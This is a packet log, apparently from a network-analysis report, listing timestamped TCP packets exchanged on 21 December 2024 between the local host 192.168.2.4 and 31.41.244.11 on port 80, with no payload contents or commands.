Dec 21, 2024 18:16:47.727588892 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.727664948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.727755070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.728674889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.728730917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.728739977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.728872061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.729773998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.729829073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.729911089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.729964972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.730887890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.730947018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.730993986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.731229067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.732069016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.732131004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.732192993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.732240915 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.733117104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.733181000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.733304977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.733361959 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.734236956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.734299898 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.734342098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.734570026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.735371113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.735440016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.735501051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.735558033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.736427069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.736498117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.736526966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.736710072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.737581015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.737642050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.737656116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.737740040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.738713980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.738749981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.738774061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.738790035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.739815950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.739892006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.739937067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.740001917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.741005898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.741070032 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.741091967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.741138935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.742019892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.742070913 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.742110014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.742156029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.743213892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.743248940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.743303061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.744297981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.744339943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.744364023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.744379997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.745436907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.745492935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.745539904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.745598078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.746485949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.746540070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.746602058 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.746644974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.747581959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.747695923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.747740030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.748074055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.748688936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.748752117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.748838902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.748903036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.749804020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.749851942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.749896049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.749974012 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.750941992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.750996113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.751039982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.751094103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.752062082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.752118111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.752150059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.752387047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.753166914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.753230095 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.885618925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.885674000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.885735989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.885823011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.885900021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.885900021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.886235952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.887067080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.887120008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.887137890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.887176037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.887824059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.887890100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.887933969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.887989044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.889260054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.889312029 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.889352083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.889651060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.890402079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.890558958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.890614986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.891391039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.891455889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.891509056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.891590118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.892417908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.892482996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.892659903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.892719984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.893636942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.893692017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.893721104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.893735886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.894560099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.894612074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.894627094 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.894660950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.895692110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.895754099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.895787001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.895833015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.896774054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.896828890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.896847010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.896872044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.897846937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.897906065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.897970915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.898066998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.898960114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.899086952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.899097919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.899141073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.900093079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.900188923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.900199890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.900232077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.901209116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.901257038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.901292086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.901338100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.902301073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.902354956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.902355909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.902445078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.903424025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.903497934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.903549910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.904644966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.904697895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.904702902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.904794931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.905702114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.905746937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.905770063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.905819893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.906763077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.906815052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.906888962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.907018900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.907861948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.907972097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.908025026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.908994913 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.909061909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.909086943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.909137964 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.910626888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.910727978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.910808086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.910865068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.911209106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.911256075 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.911283970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.911336899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.912409067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.912482023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.912528038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.912587881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.913465023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.913517952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.913599968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.913660049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.914551020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.914670944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.914724112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.914771080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.915683985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.915755033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.915829897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.916001081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.916779041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.916913033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.916929007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.916990995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.917849064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.917963982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.917973995 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.918323040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.919024944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.919078112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.919147968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.919190884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.920188904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.920234919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.920243025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.920289040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.921323061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.921397924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.921411037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.921466112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.922343016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.922400951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.922418118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.922529936 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.923476934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.923583984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.923624039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.923671007 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.924613953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.924693108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.924743891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.924801111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.925695896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.925765991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.925827026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.925873995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.926800966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.926852942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.926906109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.927952051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.928121090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.928157091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.928172112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.929022074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.929202080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.929251909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.930160999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.930372953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.930422068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.931291103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.931360006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.931395054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.931408882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.932426929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.932549953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.932605982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.933571100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.933702946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.933759928 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.934612036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.934709072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.934757948 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.935734034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.935796022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.935849905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.936835051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.936886072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.936892986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.937624931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.937985897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.938133001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.938189030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.939074039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.939179897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.939234018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.940270901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.940325022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.940478086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.940531015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.941394091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.941430092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.941482067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.942461014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.942512989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.942532063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.942585945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.943758965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.943835020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.077487946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.077526093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.077686071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.077686071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.077910900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.077965975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.078202009 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.078252077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.079030037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.079086065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.079268932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.079410076 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.080096960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.080149889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.080226898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.080287933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.081250906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.081305027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.081379890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.081459999 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.082386971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.082439899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.082515955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.082573891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.083564043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.083617926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.083695889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.083756924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.084855080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.084888935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.084930897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.084952116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.085686922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.085772991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.085776091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.085987091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.086982965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.087048054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.087109089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.087177038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.088382959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.088433981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.088449955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.088509083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.089714050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.089771986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.089842081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.089903116 CET	49866	80	192.168.2.4	31.41.244.11
